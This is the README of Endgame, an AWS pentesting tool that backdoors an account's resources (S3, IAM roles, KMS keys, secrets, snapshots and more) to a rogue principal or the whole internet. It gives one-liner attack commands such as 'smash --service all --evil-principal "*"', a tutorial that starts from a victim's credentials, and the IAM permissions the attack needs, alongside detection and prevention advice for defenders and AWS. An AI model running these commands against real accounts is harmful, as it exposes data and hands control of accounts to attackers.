An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire internet π
TL;DR: endgame smash --service all
to create backdoors across your entire AWS account - by sharing resources either with a rogue IAM user/role or with the entire Internet.
Endgame abuses AWS's resource permission model to grant rogue users (or the Internet) access to an AWS account's resources with a single command. It does this through one of three methods:
- Modifying resource-based policies (such as S3 Bucket policies or Lambda Function policies)
- Resources that can be made public through sharing APIs (such as Amazon Machine Images (AMIs), EBS disk snapshots, and RDS database snapshots)
- Sharing resources via AWS Resource Access Manager (RAM)
Endgame was created to:
- Push AWS to improve coverage of AWS Access Analyzer so AWS users can protect themselves.
- Show blue teams and developers what kind of damage can be done by overprivileged/leaked accounts.
- Help red teams to demonstrate impact of their access.
Endgame demonstrates (with a bit of shock and awe) how simple human errors in excessive permissions (such a granting s3:*
access instead of s3:GetObject
) can be abused by attackers. These are not new attacks, but AWS's ability to detect and prevent these attacks falls short of what customers need to protect themselves. This is what inspired us to write this tool. Follow the Tutorial and observe how you can expose resources across 17 different AWS services to the Internet in a matter of seconds.
The resource types that can be exposed are of high value to attackers. This can include:
- Privileged compute access (by exposing who can invoke
lambda
functions) - Database snapshots (
rds
), Storage buckets (s3
), file systems (elasticfilesystem
), storage backups (glacier
), disk snapshots (ebs
snapshots), - Encryption keys (
kms
), secrets (secretsmanager
), and private certificate authorities (acm-pca
) - Messaging and notification services (
sqs
queues,sns
topics,ses
authorized senders) - Compute artifacts (
ec2
AMIs,ecr
images,lambda
layers) - Logging endpoints (
cloudwatch
resource policies) - Search and analytics engines (
elasticsearch
clusters)
Endgame is an attack tool, but it was written with a specific purpose. We wrote this tool for the following audiences:
- AWS: We want AWS to empower their customers with the capabilities to fight these attacks. Our recommendations are outlined in the Recommendations to AWS section.
- AWS Customers and their customers: It is better to have risks be more easily understood and know how to mitigate those risks than to force people to fight something novel. By increasing awareness about Resource Exposure and excessive permissions, we can protect ourselves against attacks where the attackers previously held the advantage and AWS customers were previously left blind.
- Blue Teams: Defense teams can leverage the guidance around user-agent detection, API call detection, and behavioral detection outlined in the Recommendations to Blue Teams section.
- Red Teams: This will make for some very eventful red team exercises. Make sure you give the Blue Team kudos when they catch you!
Endgame can create backdoors for resources in any of the services listed in the table below.
Note: At the time of this writing, AWS Access Analyzer does NOT support auditing 11 out of the 18 services that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. π
Backdoor Resource Type | Endgame | AWS Access Analyzer Support |
---|---|---|
ACM Private CAs | β | β |
CloudWatch Resource Policies | β | β |
EBS Volume Snapshots | β | β |
EC2 AMIs | β | β |
ECR Container Repositories | β | β |
EFS File Systems | β | β |
ElasticSearch Domains | β | β |
Glacier Vault Access Policies | β | β |
IAM Roles | β | β |
KMS Keys | β | β |
Lambda Functions | β | β |
Lambda Layers | β | β |
RDS Snapshots | β | β |
S3 Buckets | β | β |
Secrets Manager Secrets | β | β |
SES Sender Authorization Policies | β | β |
SQS Queues | β | β |
SNS Topics | β | β |
# this will ruin your day
endgame smash --service all --evil-principal "*"
# This will show you how your day could have been ruined
endgame smash --service all --evil-principal "*" --dry-run
# Atone for your sins
endgame smash --service all --evil-principal "*" --undo
# Consider maybe atoning for your sins
endgame smash --service all --evil-principal "*" --undo --dry-run
# List resources available for exploitation
endgame list-resources --service all
# Expose specific resources
endgame expose --service s3 --name computers-were-a-mistake
The prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.
Endgame can run in two modes, expose
or smash
. The less-destructive expose
mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).
smash
, on the other hand, is more destructive (and louder). smash
can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the "evil principal" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies.
- pip3
pip3 install --user endgame
- Homebrew (this will not work until the repository is public)
brew tap salesforce/endgame https://github.com/salesforce/endgame
brew install endgame
Now you should be able to execute Endgame from command line by running endgame --help
.
- To enable Bash completion, put this in your
~/.bashrc
:
eval "$(_ENDGAME_COMPLETE=source endgame)"
- To enable ZSH completion, put this in your
~/.zshrc
:
eval "$(_ENDGAME_COMPLETE=source_zsh endgame)"
-
First, authenticate to AWS CLI using credentials to the victim's account.
-
Set the environment variables for
EVIL_PRINCIPAL
(required). Optionally, set the environment variables forAWS_REGION
andAWS_PROFILE
.
# Set `EVIL_PRINCIPAL` environment variable to the rogue IAM User or
# Role that you want to give access to.
export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil
# If you don't supply these values, these will be the defaults.
export AWS_REGION="us-east-1"
export AWS_PROFILE="default"
This program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you using Terraform.
Warning: This will create real AWS infrastructure and will cost you money. Be sure to create this in a test account, and destroy the Terraform resources afterwards.
# To create the demo infrastructure
make terraform-demo
You can use the list-resources
command to list resources in the account that you can backdoor.
- Examples:
# List IAM Roles, so you can create a backdoor via their AssumeRole policies
endgame list-resources -s iam
# List S3 buckets, so you can create a backdoor via their Bucket policies
endgame list-resources --service s3
# List all resources across services that can be backdoored
endgame list-resources --service all
- Use the
--dry-run
command first to test it without modifying anything:
endgame expose --service iam --name test-resource-exposure --dry-run
- To create the backdoor to that resource from your rogue account, run the following:
endgame expose --service iam --name test-resource-exposure
Example output:
- If you want to atone for your sins (optional) you can use the
--undo
flag to roll back the changes.
endgame expose --service iam --name test-resource-exposure --undo
- To expose every exposable resource in your AWS account, run the following command.
Warning: If you supply the argument
--evil-principal *
or the environment variableEVIL_PRINCIPAL=*
, it will expose the account to the internet. If you do this, it is possible that an attacker could assume your privileged IAM roles, take over the other supported resources present in that account, or incur a massive bill. As such, you might want to set--evil-principal
to your own AWS user/role in another account.
endgame smash --service all --dry-run
endgame smash --service all
endgame smash --service all --undo
- Now that you are done with the tutorial, don't forget to clean up the demo infrastructure.
# Destroy the demo infrastructure
make terraform-destroy
While Cloudsplaining (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to detect and prevent these attacks falls short of what customers need to protect themselves.
AWS Access Analyzer is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it detects instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it.
At the time of this writing, AWS Access Analyzer does NOT support auditing 11 out of the 18 services that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. π
The lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, "Nobody in my AWS Organization is allowed to share any resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list." This should be possible, but it is not. It is not even possible to use AWS Service Control Policies (SCPS) - AWS's preventative guardrails service - to prevent sts:AssumeRole
calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem.
We recommend that AWS take the following measures in response:
-
Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs)
-
Support the usage of
sts:AssumeRole
to prevent calls from outside your AWS Organization, with targeted exceptions. -
Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public and (2) being shared outside of your
aws:PrincipalOrgPath
. -
Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of 200 Policy or Initiative Assignments per subscription)
-
Improve the AWS SCP service to support an "Audit" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already supports Audit mode.
-
Create GuardDuty rules that detect public exposure of resources. This may garner more immediate customer attention than Access Analyzer alerts, as they are considered high priority by Incident Response teams, and some customers have not onboarded to Access Analyzer yet.
There are three general methods that blue teams can use to detect AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.
- User Agent Detection (Endgame specific)
- API call detection
- Behavioral-based detection
- AWS Access Analyzer
While (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it.
There are 6 general methods that blue teams can use to prevent AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.
- Use AWS KMS Customer-Managed Keys to encrypt resources
- Leverage Strong Resource-based policies
- Trusted Accounts Only
- Inventory which IAM Principals are capable of Resource Exposure
- AWS Service Control Policies
- Prevent AWS RAM External Principals
Additional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is here.
The IAM Permissions listed below are used to create these backdoors.
You don't need all of these permissions to run the tool. You just need enough from each service. For example, s3:ListAllMyBuckets
, s3:GetBucketPolicy
, and s3:PutBucketPolicy
are all the permissions needed to leverage this tool to expose S3 buckets.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAmInevitable",
"Effect": "Allow",
"Action": [
"acm-pca:DeletePolicy",
"acm-pca:GetPolicy",
"acm-pca:ListCertificateAuthorities",
"acm-pca:PutPolicy",
"ec2:DescribeImageAttribute",
"ec2:DescribeImages",
"ec2:DescribeSnapshotAttribute",
"ec2:DescribeSnapshots",
"ec2:ModifySnapshotAttribute",
"ec2:ModifyImageAttribute",
"ecr:DescribeRepositories",
"ecr:DeleteRepositoryPolicy",
"ecr:GetRepositoryPolicy",
"ecr:SetRepositoryPolicy",
"elasticfilesystem:DescribeFileSystems",
"elasticfilesystem:DescribeFileSystemPolicy",
"elasticfilesystem:PutFileSystemPolicy",
"es:DescribeElasticsearchDomainConfig",
"es:ListDomainNames",
"es:UpdateElasticsearchDomainConfig",
"glacier:GetVaultAccessPolicy",
"glacier:ListVaults",
"glacier:SetVaultAccessPolicy",
"iam:GetRole",
"iam:ListRoles",
"iam:UpdateAssumeRolePolicy",
"kms:GetKeyPolicy",
"kms:ListKeys",
"kms:ListAliases",
"kms:PutKeyPolicy",
"lambda:AddLayerVersionPermission",
"lambda:AddPermission",
"lambda:GetPolicy",
"lambda:GetLayerVersionPolicy",
"lambda:ListFunctions",
"lambda:ListLayers",
"lambda:ListLayerVersions",
"lambda:RemoveLayerVersionPermission",
"lambda:RemovePermission",
"logs:DescribeResourcePolicies",
"logs:DeleteResourcePolicy",
"logs:PutResourcePolicy",
"rds:DescribeDbClusterSnapshots",
"rds:DescribeDbClusterSnapshotAttributes",
"rds:DescribeDbSnapshots",
"rds:DescribeDbSnapshotAttributes",
"rds:ModifyDbSnapshotAttribute",
"rds:ModifyDbClusterSnapshotAttribute",
"s3:GetBucketPolicy",
"s3:ListAllMyBuckets",
"s3:PutBucketPolicy",
"secretsmanager:GetResourcePolicy",
"secretsmanager:DeleteResourcePolicy",
"secretsmanager:ListSecrets",
"secretsmanager:PutResourcePolicy",
"ses:DeleteIdentityPolicy",
"ses:GetIdentityPolicies",
"ses:ListIdentities",
"ses:ListIdentityPolicies",
"ses:PutIdentityPolicy",
"sns:AddPermission",
"sns:ListTopics",
"sns:GetTopicAttributes",
"sns:RemovePermission",
"sqs:AddPermission",
"sqs:GetQueueUrl",
"sqs:GetQueueAttributes",
"sqs:ListQueues",
"sqs:RemovePermission"
],
"Resource": "*"
}
]
}
Want to contribute back to endgame? This section outlines our philosophy, the test suite, and issue tracking, and will house more details on the development flow and design as the tool matures.
Impostor Syndrome Disclaimer
Before we get into the details: We want your help. No, really.
There may be a little voice inside your head that is telling you that you're not ready to be an open source contributor; that your skills aren't nearly good enough to contribute. What could you possibly offer a project like this one?
We assure you -- the little voice in your head is wrong. If you can write code at all, you can contribute code to open source. Contributing to open source projects is a fantastic way to advance one's coding skills. Writing perfect code isn't the measure of a good developer (that would disqualify all of us!); it's trying to create something, making mistakes, and learning from those mistakes. That's how we all improve.
We've provided some clear Contribution Guidelines that you can read here. The guidelines outline the process that you'll need to follow to get a patch merged. By making expectations and process explicit, we hope it will make it easier for you to contribute.
And you don't just have to write code. You can help out by writing documentation, tests, or even by giving feedback about this work. (And yes, that includes giving feedback about the contribution guidelines.)
- Run pytest with the following:
make test
- Run bandit with the following:
make security-test
After making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS.
- First, set your environment variables
# Set the environment variable for the username that you will create a backdoor for.
export EVIL_PRINCIPAL="arn:aws:iam::999988887777:user/evil"
export AWS_REGION="us-east-1"
export AWS_PROFILE="default"
- Then run the full-fledged integration test:
make integration-test
This does the following:
- Sets up your local dev environment (see
setup-dev
) in theMakefile
- Creates the Terraform infrastructure (see
terraform-demo
in theMakefile
) - Runs
list-resources
,exploit --dry-run
, andexpose
against this live infrastructure - Destroys the Terraform infrastructure (see
terraform-destroy
in theMakefile
)
Note that the expose
command will not expose the resources to the world - it will only expose them to your rogue user, not to the world.